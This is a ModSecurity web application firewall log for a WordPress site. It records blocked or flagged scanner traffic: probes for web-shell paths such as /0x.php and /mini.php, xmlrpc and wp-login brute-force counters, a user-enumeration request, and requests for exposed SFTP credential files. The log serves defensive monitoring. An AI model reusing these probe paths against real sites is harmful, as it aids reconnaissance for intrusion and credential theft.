[Mon Apr 20 10:44:57.409391 2026] [:error] [pid 11441:tid 11455] [client 20.107.194.250:3982] [client 20.107.194.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aeWTKcixByFUvmh319CZwAAAAMw"]
[Mon Apr 20 10:44:59.664438 2026] [:error] [pid 11441:tid 11465] [client 20.107.194.250:28868] [client 20.107.194.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0x.php"] [unique_id "aeWTK8ixByFUvmh319CZyAAAANY"]
[Mon Apr 20 10:45:40.070619 2026] [:error] [pid 11441:tid 11451] [client 20.107.194.250:5943] [client 20.107.194.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aeWTVMixByFUvmh319CavAAAAMg"]
[Mon Apr 20 10:45:44.699872 2026] [:error] [pid 11441:tid 11456] [client 20.107.194.250:5966] [client 20.107.194.250] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mini.php"] [unique_id "aeWTWMixByFUvmh319CaxQAAAM0"]
[Mon Apr 20 10:50:33.690361 2026] [:error] [pid 11352:tid 11414] [client 211.21.61.245:38412] [client 211.21.61.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.245, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWUeWl10mhMSfJ7ir82SgAAAIA"]
[Mon Apr 20 11:22:06.785630 2026] [:error] [pid 11350:tid 11365] [client 5.189.157.230:57180] [client 5.189.157.230] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.157.230, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeWb3v4EoMBgOJuJnT0R7AAAAAY"]
[Mon Apr 20 11:24:01.097857 2026] [:error] [pid 11352:tid 11433] [client 66.42.61.4:55080] [client 66.42.61.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 66.42.61.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWcUWl10mhMSfJ7ir9FtgAAAJM"]
[Mon Apr 20 11:43:53.092273 2026] [:error] [pid 11441:tid 11455] [client 143.198.154.102:45404] [client 143.198.154.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.198.154.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWg-cixByFUvmh319C8CQAAAMw"]
[Mon Apr 20 12:12:53.999717 2026] [:error] [pid 11350:tid 11374] [client 45.55.138.32:42438] [client 45.55.138.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.55.138.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeWnxf4EoMBgOJuJnT0fhwAAAA8"]
[Mon Apr 20 12:13:01.624276 2026] [:error] [pid 11350:tid 11372] [client 45.55.138.32:59128] [client 45.55.138.32] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.55.138.32, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeWnzf4EoMBgOJuJnT0fjQAAAA0"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 12:27:09.576068 2026] [:error] [pid 11441:tid 11454] [client 149.202.76.92:40596] [client 149.202.76.92] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.76.92, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWrHcixByFUvmh319DS_gAAAMs"]
[Mon Apr 20 12:39:46.291719 2026] [:error] [pid 42014:tid 42030] [client 123.30.109.8:55018] [client 123.30.109.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.30.109.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeWuEsek-00-ZI0f1NrTsAAAAQ4"]
[Mon Apr 20 12:39:48.102082 2026] [:error] [pid 42014:tid 42016] [client 123.30.109.8:55018] [client 123.30.109.8] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 123.30.109.8, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeWuFMek-00-ZI0f1NrTtwAAAQA"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 12:45:15.461865 2026] [:error] [pid 11350:tid 11379] [client 217.182.139.33:45702] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeWvW_4EoMBgOJuJnT0lVgAAABQ"]
[Mon Apr 20 12:45:17.382251 2026] [:error] [pid 11441:tid 11459] [client 217.182.139.33:50428] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeWvXcixByFUvmh319DZFwAAANA"]
[Mon Apr 20 12:45:19.282016 2026] [:error] [pid 11441:tid 11463] [client 217.182.139.33:50436] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeWvX8ixByFUvmh319DZIAAAANQ"]
[Mon Apr 20 12:45:21.125575 2026] [:error] [pid 11352:tid 11417] [client 217.182.139.33:50440] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeWvYWl10mhMSfJ7ir9lAgAAAIM"]
[Mon Apr 20 12:45:23.044404 2026] [:error] [pid 11441:tid 11453] [client 217.182.139.33:50454] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeWvY8ixByFUvmh319DZJgAAAMo"]
[Mon Apr 20 12:45:25.097202 2026] [:error] [pid 11351:tid 11403] [client 217.182.139.33:41626] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeWvZQN8Z1-vktaI_tN6qAAAAFA"]
[Mon Apr 20 12:45:27.134373 2026] [:error] [pid 42014:tid 42028] [client 217.182.139.33:41640] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeWvZ8ek-00-ZI0f1NrW_gAAAQw"]
[Mon Apr 20 12:45:28.916472 2026] [:error] [pid 11441:tid 11466] [client 217.182.139.33:41654] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeWvaMixByFUvmh319DZMgAAANc"]
[Mon Apr 20 12:45:30.919684 2026] [:error] [pid 11441:tid 11444] [client 217.182.139.33:41670] [client 217.182.139.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeWvasixByFUvmh319DZOwAAAME"]
[Mon Apr 20 12:54:08.902456 2026] [:error] [pid 11350:tid 11381] [client 146.70.40.68:36256] [client 146.70.40.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.40.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWxcP4EoMBgOJuJnT0mvgAAABY"]
[Mon Apr 20 12:54:12.606059 2026] [:error] [pid 11350:tid 11368] [client 146.70.40.68:36256] [client 146.70.40.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aeWxdP4EoMBgOJuJnT0mwQAAAAk"]
[Mon Apr 20 12:54:14.511999 2026] [:error] [pid 11350:tid 11367] [client 146.70.40.68:36256] [client 146.70.40.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.40.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWxdv4EoMBgOJuJnT0mxAAAAAg"]
[Mon Apr 20 12:54:16.637145 2026] [:error] [pid 11351:tid 11401] [client 146.70.40.68:41032] [client 146.70.40.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.40.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWxeAN8Z1-vktaI_tN8tgAAAE4"]
[Mon Apr 20 12:54:18.817996 2026] [:error] [pid 11441:tid 11451] [client 146.70.40.68:41042] [client 146.70.40.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.40.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWxesixByFUvmh319Dc4gAAAMg"]
[Mon Apr 20 12:54:20.921232 2026] [:error] [pid 42014:tid 42022] [client 146.70.40.68:41054] [client 146.70.40.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.40.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWxfMek-00-ZI0f1Nrb6wAAAQY"]
[Mon Apr 20 12:54:23.093429 2026] [:error] [pid 42014:tid 42039] [client 146.70.40.68:41068] [client 146.70.40.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.70.40.68, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWxf8ek-00-ZI0f1Nrb8QAAARc"]
[Mon Apr 20 12:54:23.093581 2026] [:error] [pid 42014:tid 42039] [client 146.70.40.68:41068] [client 146.70.40.68] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 146.70.40.68, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeWxf8ek-00-ZI0f1Nrb8QAAARc"]
[Mon Apr 20 13:10:32.429250 2026] [:error] [pid 11352:tid 11434] [client 103.166.113.227:9393] [client 103.166.113.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.113.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeW1SGl10mhMSfJ7ir9sygAAAJQ"]
[Mon Apr 20 13:10:42.515450 2026] [:error] [pid 11352:tid 11432] [client 103.166.113.227:10922] [client 103.166.113.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.113.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeW1Uml10mhMSfJ7ir9s2gAAAJI"]
[Mon Apr 20 13:10:53.209227 2026] [:error] [pid 11351:tid 11389] [client 103.166.113.227:12016] [client 103.166.113.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.113.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeW1XQN8Z1-vktaI_tOA_gAAAEI"]
[Mon Apr 20 13:11:03.894767 2026] [:error] [pid 11350:tid 11376] [client 103.166.113.227:9240] [client 103.166.113.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.113.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeW1Z_4EoMBgOJuJnT0pzwAAABE"]
[Mon Apr 20 13:11:14.573839 2026] [:error] [pid 42014:tid 42031] [client 103.166.113.227:11490] [client 103.166.113.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.166.113.227, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeW1csek-00-ZI0f1NrlOwAAAQ8"]
[Mon Apr 20 13:24:08.585459 2026] [:error] [pid 11441:tid 11456] [client 81.169.226.163:52272] [client 81.169.226.163] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.226.163, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeW4eMixByFUvmh319Du4QAAAM0"]
[Mon Apr 20 13:33:39.140033 2026] [:error] [pid 42014:tid 42029] [client 103.65.237.216:56119] [client 103.65.237.216] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aeW6s8ek-00-ZI0f1NrvPgAAAQ0"]
[Mon Apr 20 13:33:39.435590 2026] [:error] [pid 11350:tid 11380] [client 103.65.237.216:56166] [client 103.65.237.216] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aeW6s_4EoMBgOJuJnT0tpgAAABU"]
[Mon Apr 20 13:43:51.392266 2026] [:error] [pid 42014:tid 42036] [client 100.24.110.95:36736] [client 100.24.110.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.24.110.95, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeW9F8ek-00-ZI0f1Nr11AAAARQ"]
[Mon Apr 20 14:01:23.607565 2026] [:error] [pid 11350:tid 11368] [client 182.44.2.148:46702] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aeXBM_4EoMBgOJuJnT0y0AAAAAk"]
[Mon Apr 20 14:05:51.862935 2026] [:error] [pid 42014:tid 42037] [client 103.30.72.102:51974] [client 103.30.72.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.30.72.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXCP8ek-00-ZI0f1NoDBAAAARU"]
[Mon Apr 20 14:06:07.723453 2026] [:error] [pid 11350:tid 11365] [client 103.30.72.102:42500] [client 103.30.72.102] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.30.72.102, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXCT_4EoMBgOJuJnT0zIgAAAAY"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 14:20:42.838327 2026] [:error] [pid 11352:tid 11431] [client 39.97.110.217:58628] [client 39.97.110.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 39.97.110.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXFuml10mhMSfJ7ir-BeAAAAJE"]
[Mon Apr 20 14:20:45.069505 2026] [:error] [pid 11352:tid 11415] [client 39.97.110.217:58628] [client 39.97.110.217] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 39.97.110.217, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeXFvWl10mhMSfJ7ir-BgAAAAIE"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 20 14:33:12.586039 2026] [:error] [pid 11352:tid 11423] [client 51.159.142.108:35912] [client 51.159.142.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.142.108, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeXIqGl10mhMSfJ7ir-EXgAAAIk"]
[Mon Apr 20 15:50:46.140704 2026] [:error] [pid 11352:tid 11417] [client 147.135.253.34:38794] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "aeXa1ml10mhMSfJ7ir-YEwAAAIM"]
[Mon Apr 20 15:50:48.035681 2026] [:error] [pid 6928:tid 6932] [client 147.135.253.34:41594] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "aeXa2B3y7MHq1iB0qYpDegAAAUI"]
[Mon Apr 20 15:50:49.940751 2026] [:error] [pid 42014:tid 42019] [client 147.135.253.34:41604] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "aeXa2cek-00-ZI0f1NotCQAAAQM"]
[Mon Apr 20 15:50:51.877802 2026] [:error] [pid 11441:tid 11462] [client 147.135.253.34:41614] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "aeXa28ixByFUvmh319AmaQAAANM"]
[Mon Apr 20 15:50:53.867747 2026] [:error] [pid 6928:tid 6954] [client 147.135.253.34:41622] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "aeXa3R3y7MHq1iB0qYpDhwAAAVg"]
[Mon Apr 20 15:50:55.809388 2026] [:error] [pid 11352:tid 11420] [client 147.135.253.34:41624] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "aeXa32l10mhMSfJ7ir-YHgAAAIY"]
[Mon Apr 20 15:50:57.740557 2026] [:error] [pid 11441:tid 11452] [client 147.135.253.34:41632] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "aeXa4cixByFUvmh319AmfwAAAMk"]
[Mon Apr 20 15:50:59.666076 2026] [:error] [pid 6928:tid 6936] [client 147.135.253.34:45824] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "aeXa4x3y7MHq1iB0qYpDkgAAAUY"]
[Mon Apr 20 15:51:01.469819 2026] [:error] [pid 6928:tid 6939] [client 147.135.253.34:45840] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "aeXa5R3y7MHq1iB0qYpDmgAAAUk"]
[Mon Apr 20 15:51:03.540551 2026] [:error] [pid 6928:tid 6930] [client 147.135.253.34:45848] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "aeXa5x3y7MHq1iB0qYpDogAAAUA"]
[Mon Apr 20 15:51:05.466793 2026] [:error] [pid 42014:tid 42038] [client 147.135.253.34:45864] [client 147.135.253.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "aeXa6cek-00-ZI0f1NotJwAAARY"]
